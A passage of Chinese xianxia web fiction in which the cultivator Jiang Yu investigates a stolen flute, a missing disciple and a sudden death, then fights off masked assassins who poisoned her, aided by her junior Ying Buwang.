而她身后的女弟子追的气喘吁吁,两人见到刘苏叶后先后抱拳行了一礼,那名紫星阁弟子率先开口:
“是弟子值守不周,才让这青冥弟子闯了进来,还望长老责罚。”
刘苏叶掀了掀眼皮,手上浇花的动作明显一顿,而后才抬眼看,而他们身后,姜瑜三人才缓步至此,应不妄最先开口嘲讽道:
“看来我们青冥弟子在你们这挺不受欢迎的呀,刘长老不若放我们走吧,这样两大门派也不至于闹到不可开交的地步。”
刘苏叶听后先是瞥向一旁的紫星阁弟子,张嘴说道:“冒冒失失的,青冥弟子既为客,便不可如此无礼,且罚你去思过堂抄写静心经。”
话毕,待那名弟子退下,刘苏叶这才扭过头看向一旁的姜瑜,一脸慈和的问道:“不知瑜儿今日来找老身,所谓何事啊?”
“有一些事情没想清楚,想来找刘长老请教一番,多有叨扰,不要见谅。”姜瑜顺势行了一礼,说道。
刘苏叶听后放下手中的木勺,冲他们笑道:“既然如此,诸位且来老身屋内一坐。”
姜瑜左右看了看,朝站位最前的沈晚宁点了点头。
入屋后,刘苏叶在主位上先是稳稳入定,紧接着她虚微抬手,示意他们随意坐——
姜瑜顺势坐在了刘苏叶左手边最近的一侧位子,她最先开口道:“刘长老,此前您遭了些变故,自那天起一直没能拜访您老,还望莫要怪罪小辈不懂礼数。”
“哪有的事。”刘苏叶摆摆手,也没再绕弯子,“你们这些小辈没一个省心的,赵清砚那丫头打小被老身娇纵惯了,如若她有什么做的不妥的,老身在此给诸位少侠赔个不是。”
姜瑜唇边弯起一抹笑意,她低下头,指尖漫不经心的扯起袖口一角,开口道:“刘长老误会了,既然话都说到这个份上,瑜儿也就不必再与您老人家绕弯子了。”
“我的父亲...姜远山。”
“他曾在紫星阁这段时间里,可有树过什么仇敌?”
话落,刘苏叶严重惊讶之色一闪而过,随即又换上了她那从容淡定的模样,她道:
“远山为人亲和,性子也比较古板及不好与人相处,在我们紫星阁那段时日,除了淮阳我们,他不曾与别人有什么交集。”
“更别说有树立仇敌这一说了。”
“瑜儿怎么突然问起这个?”
姜瑜听后微微蹙眉,她方才捕捉到刘苏叶脸上闪过的一丝讶异之色,思索片刻后她弯了弯唇,回道:
“没什么,就是突然想找长老来了解一些父亲过去的事。”<
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p>“既然如此,我也不多打扰了。”
姜瑜刚要起身告退,却听主位之上刘苏叶的声音再度袭来,她说:“瑜儿,你留下来陪我一会,让你的几个朋友先行回去休息吧。”
“老身有些话,想单独找你聊聊。”
姜瑜这才抬眼望向位子上稳稳坐着的人,得到刘苏叶的肯定后,她这才向身后的三人点点头,示意他们安心。
……
裴恒之他们离去后,只剩姜瑜一个人孤身站在屋内,刘苏叶抬手挥了挥,她道:“凑近些,让老身好好看看远山的女儿。”
姜瑜先是张了张嘴,最后什么也没说,听话的往前凑了凑,只听刘苏叶自顾自的伸手抚上她的面颊,说道:“长的跟你母亲真像啊。”
“刘长老见过我母亲?”姜瑜搭话问道。
“有缘见过。”刘苏叶收回的收,回忆道,“那时的你还没出生。”
姜瑜乖顺的垂了垂眼,长睫在眼底打着阴影,她开口说道:“看来刘长老在很早前,就认识他们了。”
刘苏叶转身起来,从架子一侧拿了一个精致的木盒,姜瑜顺势看过去,只见她上手留恋的抚了上去,随后将其打开——
里面搁放着一支由翡翠而制成的翠绿色长笛。
姜瑜不动声色的眯了眯眼,不自觉的顺嘴问道:“这是...“
“鸣月玉笛?”
刘苏叶听后先是一笑,随后她笑着从盒子中将长笛取出,而后说道:“鸣月不是被贼人盗走了吗?”
“老身可不敢私藏阁中至宝。”
姜瑜这才反应过来方才她说了什么,作势要抬手道歉,却被刘苏叶抬手按住,只听她说:“在老身面前,瑜儿不必在乎凡俗礼节。”
“此笛名唤紫流笛,是你父亲当年留在这里的。”刘苏叶说着,旋即扭头把视线挪到一旁的姜瑜,“我一把老骨头了,它在我这儿呆着总归是发挥不出它的用途。”
“老身思来想去,虽有万般不舍,但物归原主总归是它最好的归宿。”刘苏叶说罢,顺手将那支翠绿色笛子递到姜瑜手中。
姜瑜望着那支翠色长笛,不可置信的问道:“刘长老唤它什么?”
“紫流笛?”
“怎么?”刘苏叶满脸疑惑,问道,“瑜儿可是从哪听说过?”
姜瑜自从接过那枚长笛后,手中便一直用力将它握得紧。
若是刘苏叶不提,她都要忘了。
紫流笛。
紫流笛才是原书中紫星阁被偷去的至宝,而并非鸣月玉笛。
“瑜儿?”刘苏叶又叫了她一遍,这才将她从恍神中叫醒过来。
她眨了眨眼,望向自己手中因用力握着而逐渐发抖的手,一瞬间卸了力,这才想起将笛子递还回去,她道:
“刘长老,想来我这个整日只会提剑打打杀杀的人,也用不上它。”
“这么贵重的东西,长老还是自己留着的好。”
刘苏叶皱着眉,旋即抬手抚上姜瑜的手,说道:“送出去的东西,哪还有收回来的道理?”
“你收下,老身还有其他事与你交代。”
姜瑜疑惑的看向刘苏叶,重复道:“其他事?”
31. 安阳孙氏刘氏
刘苏叶点点头,她抚上姜瑜的手,将她拉到一旁坐下,犹豫片刻开口说道:“瑜儿,有些事情你瞒不住我。”
“深竹中那些人骨,现如今在我紫星阁传的沸沸扬扬的,是你的手笔吧?”
姜瑜抬起眼,面上虽毫无波澜,手底下手指揣摩袖口的动作却收入刘苏叶眼底,她叹了口气,向姜瑜保证道:“这件事跟你没有关系。”
“我会将此事彻查到底,还那些无辜失去性命之人一个公道。”
“刘长老,我看这方圆百里并无其他人烟之处,莫非你们紫星阁就没失踪过什么人?”姜瑜顺势问道,她声音极淡,传入刘苏叶耳中时,又极清,
“那可是上百余条人骨!”
“活生生的人!!”
刘苏叶吞了吞,旋即扭头转向一旁的桌案上,她道:“我阁中弟子皆勤于修行,怎会被人无故冤害时连自保自逃的手段都没有?”
说罢,她从桌案上一盏茶壶中径自倒了一杯茶水,抬手欲要送往姜瑜手中,并开口说道:
“至于你问你父亲有没有树敌这件事,他当年四处游散,有些事情老身也不太清楚。”
“不过我会再派人打听一番,若有了结果会命人传告于你。”
姜瑜接过茶杯,并未饮入口中,只轻微点了点头以作感谢,她回应道:“那就麻烦刘长老了。”
刘苏叶点点头,自顾自的又给自己倒了一杯茶喝了下去,她只说:“好茶,不品品?”
姜瑜嘴角边扯出一抹笑,她将茶杯敬于身前,随后一饮而尽,她说道:“好茶瑜儿品不过来,不过刘长老的心意,我当心领了。”
话落,她放下茶杯,冲刘苏叶作揖道:“那晚辈过些日子再来看望您。”
刘苏叶点点头,便闭了眼没再讲话,再睁眼时,她望着姜瑜在拐角处消失的一抹背影,无声的叹了口气。
“跟她娘真像。”
“可惜,又浪费了一杯好茶。”
……
姜瑜离开凝雪苑后第一件事没回听雨苑找应不妄他们,她望着手中的紫流笛,沉思片刻改往紫星阁大门外走去。
掌中孙氏,孙武,他是孙氏的旁支,在宗亲中不受重视,生平也没交过几个朋友,性格孤僻,是个剑痴,难以与其他人正常相处。
这些是姜瑜从与孙武一同来参加会比的那位郑方嘴里套出来的。
郑方是孙武唯一的至交好友,孙武失踪那日,他因着武道会比,没能及时去寻得孙武,再后来他们一行人被紫星阁强行禁足于此,他便也没空出机会去寻他。
姜瑜问过他,孙武有可能去哪,郑方说,他掌中还有一位病重的老母,除了掌中,他无处可去。
她要去一趟掌中。
不仅是要为自己、为晚宁讨回一个公道,倘若布局之人,真的肯为了给他们设局,加害于一位与此时毫无干系的人,那这将罪无可恕。
姜瑜想到这不由得握紧了拳,迈出紫星阁后就掐诀一路向西。
紫星阁往西,是安阳一脉,安阳地属大陆西南,那里有诸多有名有望的宗亲派别,掌中孙氏算其一。
直到行至掌中门前时,姜瑜才突然反应过来,此举难免太过冲动,她望着掌中门前的那道牌匾,走神了片刻,直到听见旁边一位妇人途径她身侧,难免好奇发问道:
“姑娘可是来这掌中寻谁?”
姜瑜扭头,那人年方不过四十,鬓发尽数盘了上前,其间插了一支银簪,身着一袭藕荷色长衫,正笑盈盈地看过来。
那妇人见她并未回话,只摆摆手,解释道:“我只是看姑娘在这掌中门前站了有一会了,便想着上前问问你,并无恶意。”
姜瑜收回打量的眼神,此时她的手中还紧紧握着从凝雪苑带出的紫流笛,她抬头看向掌中大门前的牌匾,问道:“我来找一位朋友,好久没见了,不知道他在没在宗内。”
“朋友?”女人挎着竹篮,凑上前仔细端详着姜瑜,而后笑着开口说道,“我看你跟我儿差不多大年纪,到没瞧出来你一个姑娘家家竟也会斩妖除魔的本事。”
“冒犯问一句,姑娘口中所提的朋友可是这掌中之人?”
“嗯,他叫孙武。”姜瑜回道。
话落,与此同时女人的竹篮应声摔在地上,她手上颤抖顺势抚上姜瑜的胳膊,满眼不可置信,激动的重复问道:“你是阿武的朋友?”
姜瑜看着她脸上不禁皱起了眉毛,她悄然的将胳膊从女人手中扯回,问道:“您认识他?”
“我是阿武他娘。”杨元容惊觉自己的冒失,她忙弯腰将地上装满了绿菜的竹篮拿起,再开口时笑意更加明显,说道,
“没想到阿武还有你这般生的漂亮的朋友,阿武他去紫星阁参考比试了,现在还没回来,我看天色不早了,姑娘不若留下来吃个晚膳再另做打算?”
姜瑜本想拒绝,但听到女人亮出自己的身份时,话到嘴边又收了回去,她道:“好,那就有劳伯母了。”
*
跟着杨元容一道,姜瑜才察觉到,妇人的左腿不好,走路时一瘸一拐的极为艰难。
曾多几时,她都想上前搀扶一番,可手上的动作抬了抬,再看向她那道坚挺的背影时,顿了下来。
她望向自己的腿,若非有灵力加持,想必也是这番模样。
一路上跟着杨元容弯绕过几道小路,最终来到了一处隐秘僻静的小院,院内陈设虽破旧,但被这家的主人打理的井井有条。
姜瑜抬眼环顾一周,被杨元容带着坐到了院中的木椅上。
杨元容搓搓手不好意思的说道:“姑娘不要嫌弃,咱们这院内虽陈旧了些,但东西还是齐全得很。”
姜瑜点了点头,她笑道:“嗯,不难看的出。”
“你且在这儿坐等着,伯母这就去烧菜,菜做好了我们就吃饭。”杨元容一边将她按在木桌前,一边作势就要去灶房生火。
她还不忘补充道,“若还当伯母是阿武他娘,你就不要客气,我自己一个人就行!”
姜瑜坐在木椅上,冲杨元容笑了笑,便听劝的没再动弹折腾。
她望着天边,太阳已经姗姗落下,橘黄色的光线顺着地边,擦出一抹漂亮的光线,映照在她的脸上。
姜瑜望着自己的手指发呆,不知不觉星空明月已攀上头顶,直到杨元容将菜品端放在桌上,她才堪堪回过神来。
杨元容笑着从灶房内端来几道香喷喷的饭菜,最后一道上桌时,她笑着对面前的姜
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瑜说道:“都是伯母最拿手的菜,姑娘尝尝?”
姜瑜唇角弯弯,笑着拿起一旁的木筷夹起一道肉菜塞进嘴里,旋即频频点点头说道:“伯母,好吃的。”
杨元容坐在姜瑜对面,眼角弯着,在月光和院烛的照映下,显露出几道细纹,她似是想到了什么,突然笑道:“这也是阿武最喜欢吃的菜。”
姜瑜手上夹菜的动作一顿,只听杨元容继续说道:“阿武性子孤僻,从小到大也交不到几个知心朋友,所以今日你在掌中门前说是他的朋友之时,我是惊讶的。”
话落,杨元容顺势抬头盯向天的一轮明月,喃喃道:“去了这么些天了,也不知阿武他那边怎么样了。”
姜瑜嘴上咀嚼的动作停住,她望向杨元容操劳的面颊,轻声说道:“应当还有几日就该回来了吧。”
等一切尘埃落定,等紫星阁抓到偷窃鸣月玉笛的盗贼,就该回来了吧。
*
姜瑜没在杨元容那里留夜,她此行只不过是想确认一番,孙武究竟是离奇失踪,还是自己悄悄回了掌中。
她后来又去了安阳偏角——隔天门刘氏。
才刚拐过街角,远远的就望见府门大开,上头悬挂着两盏白纱灯笼,灯火昏暗间,门楣上垂下的素白丧幡随风轻摇。
姜瑜不可置信的往前快走了两步,当她确切的看到府门的牌匾上赫赫挂着“隔天门”三个大字的时候,她才僵站在原地。
她大步迈进府院,拉住一位洒扫的值夜奴仆,才久久开口问道:“你们隔天门办的是谁的丧事?”
奴仆见姜瑜一身素雅,也未见怪,只当是少主曾前交识到的朋友,她回道:“姑娘节哀...刘少主他病发突然,昨日夜里就、就去了。”
“你们少主可是刘玉?”姜瑜双手各握着奴仆的肩两侧,她一字一句的问道。
奴仆见状忙低着头,只应声回道:“姑娘节哀。”
……
姜瑜依这里的礼俗,上堂前祭拜了刘玉一番,敬了三支香后,从府中大门迈出时双眼涣散无神。
如果一开始紫星阁丢失的就不是紫流笛,而是鸣月玉笛,那这剧情就全都乱了套,那为什么刘玉还是如原书一般,突发暴毙身亡,孙武呢,这件事跟孙武又有什么关系?
他的阿娘还在等他回家吃饭。
姜瑜漫无目的的走在安阳街道上,她试图从识海里将系统唤出——自从那次在沧南与那黑影一战之后,她就跟系统断了联系。
踌躇之际,她的视线里突然撞进一道熟悉的身影,再抬头时,一道俊美的脸庞上满脸不耐。
与此同时应不妄的声音也随之袭来:“师姐自己一个人大老远跑到这儿来,你知不知道我...沈晚宁那丫头很担心你?”
“她那脾气你也知道,若不是我劝着,都差点要把刘苏叶那凝雪苑掀了...”
还未等应不妄再度开口训斥她几句,姜瑜就毫无征兆的向侧方倒去。
在她倒下的瞬间,应不妄几近是瞬身上前搀扶,在触碰到她身体的一瞬间,灼热感随之而来,他话到嘴边的训斥最终只化作一句担忧。
姜瑜最终还是倒了下去。
其实从上次竹林难逃出来后,她就病了。
32. 我们不是修者吗?
应不妄之所以能预想到姜瑜会来安阳,是因为他早在她提及孙武失踪一事的时候,就察觉到了不对劲。
无论是掌中孙氏,还是隔天门刘氏,他们都地处于紫星阁百里外的安阳一带,就凭姜瑜的性格,不用想,她早就做好了自己孤身一探究竟的打算。
他不知道姜瑜究竟经历了什么,也懒得往掌中和隔天门再跑一趟,索性直接就近找了家客栈,将传讯符放了出去——
沈晚宁和裴恒之也在到处找姜瑜,只是裴恒之因着紫星阁内还有其他青冥宗弟子,他不便脱身。
而沈晚宁她则出了紫星阁一路向东,往沧南寻了一道。
……
这是姜瑜来到这个世界上发的第二次高烧,第一次是在无境驱灭鬼魅之时,第二次则是在安阳这次。
两次高烧,姜瑜的身旁都有他。
自从那晚噩梦以后,姜瑜很少再有过好觉了,她甚至那晚过后都没再闭眼睡过觉。
姜瑜额角冒着密密的冷汗,手指在袖中蜷缩着,再猛一睁眼时,手上陡然袭来一道凉意。
应不妄握着她的手,他低垂着眼,只听床上的姜瑜轻笑出声,抬眼时就见少女披散着头发,眼角处还溢着几滴刚睡醒的泪水。
姜瑜手上微微用了点力,再抬眼看过时眼神扫过被他紧握着的手。
片刻后他才反应过来,忙将握着她的手从中抽回,还不忘补充道:“我看师姐冷的厉害,才想着催动灵力能给你暖暖。”
姜瑜嘴唇泛白,她无力的扯了扯嘴角,让自己的脸色看得不那么难看,不着边际的问道:“师弟你的手常年都是这么凉的吗?”
应不妄听后先是皱眉思索片刻,随即将手背在了身后,他抿了抿唇,回应道:“凉到师姐了吗?”
姜瑜双手靠后,支撑着坐起身来,她靠着床枕,摇了摇头,说道:“就是突然好奇。”
“我不知道。”应不妄起身从桌案前为姜瑜倒了一杯水,他递过去时才开口说道,“没几个人碰过我的手,我也不会闲的无聊去碰别人的手,所以,我不知道它是不是常年冰凉。”
姜瑜抬手接过瓷杯,浅浅抿了一口,她此时不过刚刚睡醒,脑子混沌转不过弯来,思考时只听他的声音再次从头顶传来:“师姐准备什么时候回青冥宗?”
她手中欲要往嘴里送水的动作一顿,不由得抬起头来看向站在她面前的少年:“那你说说,紫星阁那边的烂摊子事怎么办?”
“那些本来跟我们就没关系。”应不妄一脸无所谓,他顺势坐到一旁,自然而然的为自己也倒了一杯水,嘴里还不忘抱怨道,“我们本来可以一走了之的。”
“人情事故呢?”姜瑜问。
“狗屁的人情世故,我们青冥宗好说也是四大宗门之一,她紫星阁若真只因一件破法器与我们闹翻,那我看这四大宗门还是改成三大宗门的好。”应不妄说完后,还不忘补充道,
“小肚鸡肠可不是大宗门派该有的作风。”
姜瑜往嘴里猛灌一口水,杯底见空时她还不忘抬手擦擦嘴角:“师弟就不好奇我来安阳的目的吗?”
“无非就是掌中孙氏和隔天门刘氏这两个屁事。”应不妄将杯子放在桌案上发出声音,杯中的水渍清洒出来些许溅到他手上。
他望着那几滴水渍,不经意的拭去,不给姜瑜说话的机会,续而开口道:“难为你这点小事还得亲自跑一趟,把自己搞成这副样子,自己差点回不去不说,还给我们添了这么多麻烦。”
应不妄一通话说出来没觉得有什么,只不过再抬眼时瞥见少女手上紧紧握着喝空了的茶杯,指尖与她的唇色一般泛着白,眼底的一抹猩红在烛光的照映下愈加明显。
“师、师姐,我没有怪你的意思。”应不妄解释道,他紧张的伸出手,想要上前安慰又觉不妥后收回,在姜瑜面前犹豫无措时,她突然开口说道,
“我知道,你们这是关心我。”姜瑜吸了吸鼻子,再开口时声音沙哑了几分,“可是师弟你知道吗,掌中孙氏孙武,他是掌中门派家中不受宠的旁系,自幼父亲早亡,只有一个体弱病残的母亲。”
“是,我是不该管这些凡俗琐事,可要是连我都不管的话还有谁能够为他们主持公道?”
“他的母亲只有他了。”
姜瑜声音哽咽,她抬眼盯着应不妄,再度开口说道:“我们不是修者吗?”
“修者难道不该怜悯众生之苦,不该劝戒他人行善、打抱世间不平吗?”
应不妄听后嘴唇动了动,手上不自觉的抬上前去,为她拭去眼角滑落的一抹泪珠,他道:“师姐,你当真这么想的?”
姜瑜吸了吸鼻子,别过头去,自己抬手用胳膊粗略的擦了擦脸颊,轻轻的嗯了一声以作回应。
她咽了咽口水,哑着嗓子艰难开口:“我在想,如果孙武真的不在了、失踪了、永远也找不到了,那杨伯母她一个人怎么办?”
“没有人去吃她烧好的菜了。”
她不是神,即便知道这个世界不是真的。
即便也知道他们这些不过都是为主角铺路的npc,可当一个活生生的人真正的站在你面前,问你喜怒哀乐,关心你的温暖凉冷时,
对于一个从未感受过父爱母爱的人,难道真的就不会触动吗?
姜瑜会。
应不妄在一旁皱着眉,目光始终看向因别扭而扭过脸去的姜瑜,他出声安慰道:“我们一起找到孙武。”
“这样你口中的杨伯母,她就不会是自己一个人了。”
姜瑜调整好情绪,扭过头来将喝空了的瓷杯递给应不妄,通红的眼神看着他会意后又给自己倒了一杯温水,她一口饮尽后才冷静的再度开口道:
“其实我这次独自一人来到安阳,不止是为了彻查孙武刘玉一事……”
话及此,应不妄顺手再接回姜瑜递过来的瓷杯,刚要抬手再倒,却被她一个起身抬手制止了,四目相对之时,她再度开口说道:
“是因为我发现那些藏在暗处的过街老鼠,貌似都是冲着我来的。”
“所以你就以身入饵?”应不妄听到这被气笑,他气愤的将杯子用力放到桌子上,接而说道,“师姐你对自己的修为认知未免也太过自信了点?”
“你难道就没想过你若是出了什么事,我改怎么跟师父他老人家交代?”
应不妄被气的站起身来,恨不得指着她鼻子将她骂个底朝天。
当刚要开口再说时,袖下一紧,姜瑜
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就抬手的拽上了他的衣角,再配上她方才哭的通红的双眼,一副可怜巴巴的模样,应不妄终是没忍下嘴去,只叹了口气,重新落座坐回去。
“我倒觉得他们追出来也好。”姜瑜依旧嘴硬,她重新躺回床上,执拗的继续说着,“省的再做局伤害其他人。”
应不妄撇了她一眼,没好气的转过头去,附带冷笑一声,回应道:“自己的命就不是命。”
“若非我来的及时,师姐怕不是早就躺在大街上没人看管了。”
“自己的命不能把握在自己手里,其实生和死也没什么区别。”姜瑜莫名说道。
应不妄这才扭头看向她,眼底迟疑片刻,才回道:“不会有人比你自己更想让你活着。”
“如果有,那就是未来的你。”
姜瑜躺在床上,侧身对向他,玩笑道:“师弟什么时候竟也会说写大道哲理了?”
应不妄心不在焉的把玩着桌案上的瓷杯:“这是别人跟我说的。”
“谁啊?”姜瑜眨眨眼,眼底闪过几分期待,她单手支着头,才问道。
“你不认识。”应不妄若有所思的回道。
话落,姜瑜才觉得没意思,便卸力的躺回床上:“我要继续睡觉了。”
“师弟又要在这儿守夜吗?”
应不妄嘴角抽了抽,开口道:“出门时来的仓促,身上的银钱只够开一间上房,我都守了前半夜,这后半夜师姐还舍得让我守?”
姜瑜听后猛地起身掀开杯子,她咬牙切齿道:“那你为何不要两间中房?”
应不妄嘴角微微上扬,才自然回应道:“我住不惯。”
姜瑜翻了个白眼。
……
那之前跟她睡大街是狗么。
“沧南那次是喝醉了,没把住分寸,才睡到大街上的。”应不妄唇边的笑意更加明显,似是想到姜瑜心里所想,才补充道。
“行行行你睡。”姜瑜点点头,迅速的从床上跳下来,腿边传来一阵刺痛,一个没站稳刚好顺手抓住应不妄的肩膀一侧。
稳住身型后她幸幸收回手,冷笑一声,她突然想到古人封建思想,坏主意瞬间涌上心头,改口说道:“快去吧,这可是师姐刚为你暖好的床。”
话落,应不妄迟钝半拍后突然反应过来姜瑜说了什么,耳尖瞬间染起一抹绯红,他刚要躺床的动作一顿,再看向姜瑜时眉毛紧锁着。
“姜瑜!”
“你胡乱说什么呢?!”
随之而来的是姜瑜的笑声,那笑意不散,充斥了整间屋子。
应不妄在一声声嘲笑中,脸上也顺势染上了几抹红晕,他没再上床,只抬脚走到一旁的柜门前,从里抱出一套棉被甩在地上——刻意离床远了些。
就当姜瑜以为这张床即将被自己所霸占的时候,应不妄伸起他那白皙修长的手指,指向打好的地铺,开口说道:“地铺都给你铺好了,别到时说我欺负病人。”
……
姜瑜抬眼看看他,又抬眼看看打好的地铺,沉思片刻后陷入自我怀疑。
两人才刚刚躺下,折腾一番姜瑜的睡意也很快袭来,还未如梦,意识模糊间,突然一道镖器从窗边直飞而来,直冲床上刚躺好的应不妄。
33. 再 见刺客
应不妄反应及时,在床上翻了个身,堪堪躲过那枚镖器。
姜瑜被这动静惊的瞬间清醒,她双手支撑着起身,面露担忧,问道:“师弟你没事吧?”
“无碍。”应不妄摇摇头,从床边将那枚嵌到床头处的银镖捏起,他看向这枚暗器时似乎想到了什么,不禁眯了眯眼。
随后指尖一抬,一道瞬身符应势而出,他走时还不忘给姜瑜提醒道:“师姐在此处等我,我去去就来,保护好自己。”
话音刚落,应不妄就瞬身追去。
姜瑜自打来到安阳后,身体便就莫名虚弱,用不得太多灵力,她看着应不妄离去的地方,沉思片刻后起身就往床边走过去。
那枚银镖是一道月牙弯器,铸造的及其精致,月牙尖出锋利无比,飞驰过来时,刚好能落到躺在床上的脖颈处。
倘若床上此刻躺着的人是她,外加上她今晚生病催动不出灵力,没有像应不妄那样的反应速度,恐怕是早就命丧九泉了。
姜瑜抬手拿起银镖,不过是用指尖刚刚抵过,手指指尖就溢出几滴血水。
她吃痛收回手,眉头紧锁着——这银镖她见过,跟当初从方知有那日从凝雪苑飞身而去的银镖别无二致。
方知有是想杀她不错,在无境时且还有理由杀她,但现在他们萍水相逢,毫无动机的情况下,他又为何要杀她?
思索间,窗边又顺势飞来第二道镖,与姜瑜擦面而过,她反应过来时,紧接着就是第三道、第四道暗镖接踵而至。
姜瑜顺手扯起床顶处的青绿色帐幔,手腕一卷,将几道飞窗而来的银镖卷入纱帐中,旋即过侧身去,又躲过后面几道袭击。
她没来得及多想,迅速从囊中取出两道黄色符纸,从指尖化血为引,接连画出两道护身符,抬手聚集灵力之时,两道符纸分别护于自身周前。
由于情况紧急,她几近同时,又将实现准备好的传讯符传给应不妄。
敌暗我明,姜瑜此刻能够催动灵力已是不易,她必须要坚持到应不妄赶来。
姜瑜看向周遭,此刻屋内的烛火早已被窗边疾驰而过的风气吹灭,一片寂静黑暗中一道道暗器接连从四面袭来,她不免冷声笑道:
“你们家主子未免太看得起我了,竟叫了你们这么些个人来抓我一个手无缚鸡之力的女修。”
屋内动静过大,惊扰了隔壁屋房的住客,门外传来店小二的声音,他道:“公子方便声音小一些吗?”
姜瑜厉眼看向门外,显然那些藏在暗处的人也注意到了屋门外面的动静,反应过来的时候,她毫不犹豫的迅速将自己身前的一道符纸抬手格挡在门前。
几近同时,符纸与镖器相撞,冲击力直直将门外的店小二弹出数丈远。
姜瑜指尖费力地凝起灵力,她皱眉看向门口位置,只怕是再拖下去必定会伤及无辜。
思及此,她便趁着这一丝空隙,翻身从窗边一跃而下,消失于夜幕之中。
店小二再起身撞着胆子往屋内瞧去时,只剩下一屋的狼藉,再无人影。
……
姜瑜手中紧紧握着第一枚袭来的弯月银镖,跳窗时她催动体内所有灵力甩过他们一大截。
此刻一群人追的紧,再抬手试图聚灵时,才发觉自身丹田内灵力已然耗尽,她只能瘸着腿一路奔到荒野深处。
周遭荒草遍布,丛生茂密。夜黑风高,就算是单人站在里面,也极难发现踪影。
姜瑜隐身其中,她半蹲着身子,警惕的观察着周遭情况,月夜微光,月光照映在她的发丝之间,一道微风拂过,她的脖颈处便被架上了一道银色长剑。
她侧身回头,一道熟悉的墨绿色身型旋即映入眼中,她轻笑一声,不屑开口道:“我当是谁呢?”
“还果真是阴魂不散啊,莫非上次没被我打够,一路从沧南追到安阳也是有够难为你了。”
那道墨绿色身型听后明显一顿,架在姜瑜脖颈上的长剑更凑一步,只见她恼羞成怒,脱口而出,怒声说道:“少废话,姜瑜,今日就是你的死期!”
月色掺杂着一丝凉意,穿透手指肌肤之间,姜瑜听后眉梢微挑。
这声音听得耳熟,好像在哪里听过。
她缓缓站起身,手背在身后,催动法诀,藏匿于四周花草只见的自然灵力悄悄攀上她的指尖。
姜瑜扯起笑容,看着面前将自己捂得严实的身影,她开口说道:“不若让我死个明白,告诉我你前来杀我的目的,亦或者...你是谁?”
那人似听到这似是有些的意,刚要开口与她解释一通,又一道披着墨色斗篷的人飞身向前。
这人手中并未拿着剑器,她只站在那墨绿色斗篷的身后,手背过身,一道雌雄难辨的声音袭来:“我叮嘱过你多少次,不要跟她废话。”
墨绿色身影侧头看了一眼身后之人,再抬剑之时,剑尖凝起了一股灵力,那摸光芒从荒野中看去分外亮眼。
剑尖直冲姜瑜胸口而去,皆在瞬间,她指尖灵力再聚,硬生格挡住了那剑的致命一击,这威力巨大,将那两抹身影震的连连后退。
姜瑜顺势飞身向后,只见她滞于空中,周遭的自然灵力皆往她周身聚去。
笑话,她姜瑜好歹是一代大宗门派的大师姐,又怎会轻易被他人偷袭了去。
“有一句话你说错了。”姜瑜俯看向荒草中的两人,轻嘲一声,续而说道,“今日不是我的死期。”
她停顿片刻,再抬眼时眼底闪过一丝狠戾,她开口补充道:“是你的。”
灵力尽数而上,莹莹绿光将他们二人团团围住,前来协助的其他人则被姜瑜用符纸挡在阵外。
那抹雌雄莫辨的声音再度袭来:“这不可能!你怎还有灵力消耗,我明明已经给你……”
姜瑜听到这儿猛地收回半分攻势,她几步上前,看向那人,冷声问道:“怎么?”
“我说今日自从到了安阳,怎么身觉疲惫不堪,丹田内灵力消散的快...”
说道这儿,姜瑜恍然大悟,她再度开口时手中早已聚灵成剑,架在另一个墨绿身影脖颈上,她懒散的掀了掀眼皮,说道:“原是你一早就给我下了毒。”
“是我踏入安阳时就下了。”
“亦或是,更早?”
姜瑜嘴角上扬,长剑随着手中掌控,悠然划向那位墨绿色之人的脸上,刚要翘起她脸上的面罩,身后突然一声爆破轰鸣,让她下意识扭头看过去。
那墨色身影趁机抬手凝力,指尖在空中滑动间,瞬间形阵,将姜瑜困与其中。<
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p>姜瑜倒退几步,饶有兴趣的看向那道墨色身型,似是想到了什么,开口问道:“你是刘玉?”
“姜姑娘不是去过隔天门了吗?”雄雌雄莫辨的声音再度袭来,她言语间尽显挑衅,“怎会将她错认成刘玉呢。”
“少废话,你知道我说的是哪个刘玉!”姜瑜手握长剑,从中顺势聚起灵力,空隙间她惊觉这股单人起阵泄露出的灵力并非同她一般借助自然灵力而起。
这更像是借用了某种邪门法器而形成的单人法阵。
姜瑜应顾不暇时,一道剑气从远道而来,卷起微风时荒野中的花草轻微晃了晃,那剑气直冲那墨色身型而来,斩破了刚要成型的法阵。
是应不妄。
他瞬身上前,握住剑柄,剑尖直抵那人的喉口,开口说话时声音辨不出半分情绪:“外面的那群狗都是你的人吧?”
“可惜,都死了。”他语气中带有一丝得逞后的狡黠,随后抬手剑尖上前一寸,划出一抹鲜红。
姜瑜收手时,长剑与空中灵力一同消散,她几步向前顺手接过应不妄的长剑,将剑捣了个弯,架在了另外一个墨绿色身型脖前,剑锋凌厉,在她脖颈处擦红了一道血迹。
“被人架着脖子的滋味不好受吧?”姜瑜软着声音,顺势问道。
她再抬眼撇向另一个身影,刚要抬剑将其二人的面罩摘下,一道雾气迎面扑来,迫使他们抬手挡住面颊。
再落下时,两人早已消失在墨色之中,不见踪影。
“师姐何不杀了她们?”应不妄问道,他方才能看出,姜瑜是有意放他们走。
姜瑜将长剑抛还给应不妄,拍了拍手,不经意的说道:“杀她们没用,她们死了,还会有人来取我性命的。”
“既然知道她们与那位假刘玉脱不了干系,况且她们的目标始终是我,那便不急于一时。”
应不妄将长剑收回后,微挑了挑眉,他再度问道:“那面罩都没揭下来,也是师姐刻意为之吗?”
……
那倒不是。
单纯是因为没来得及揭开。
姜瑜抬眼看了看应不妄,一本正经的说道:“我若是揭下后,保不齐她们的主子会不会因为面容暴露,再另改计划,那不就前功尽弃了吗。”
“况且……”
“行了。”应不妄打断她,连连点头,往前走了几步,说道,“我知道了,师姐不必再多做狡辩。”
姜瑜:?
“我那不是狡辩,你听我说,我是看她们打不过我才想着放她们一马的。”姜瑜试图解释,“你是没看到我故意在那个人脖子上留的划痕吗?”
“嗯。”应不妄往前走着,顿了顿又补充道,“有看到。”
姜瑜瘸着腿几步跟上前,满脸疑惑,方才开口问道:“师弟要去哪啊,客栈的方向应当在后头。”
“客栈被师姐搞成那副样子,我赔不起钱,哪敢再回去?”应不妄站定后转身看向身后跟着的姜瑜,微微歪了半分头,问道。
“……”
姜瑜被应不妄一噎,吞了吞,才开口:“总不能半夜启程回紫星阁吧?”
“不然呢?”应不妄问。
姜瑜指了指自己的腿,看看他,又看看腿,当着他的面瘸着走了两步。
34. 真凶?
姜瑜是被应不妄一路背回紫星阁的,他们身上的符纸用光了,姜瑜也中了毒不能催动自身灵力跟着他一起御剑而行。
所以在踏入紫星阁大门时,她还在应不妄背上轻声打着呼。
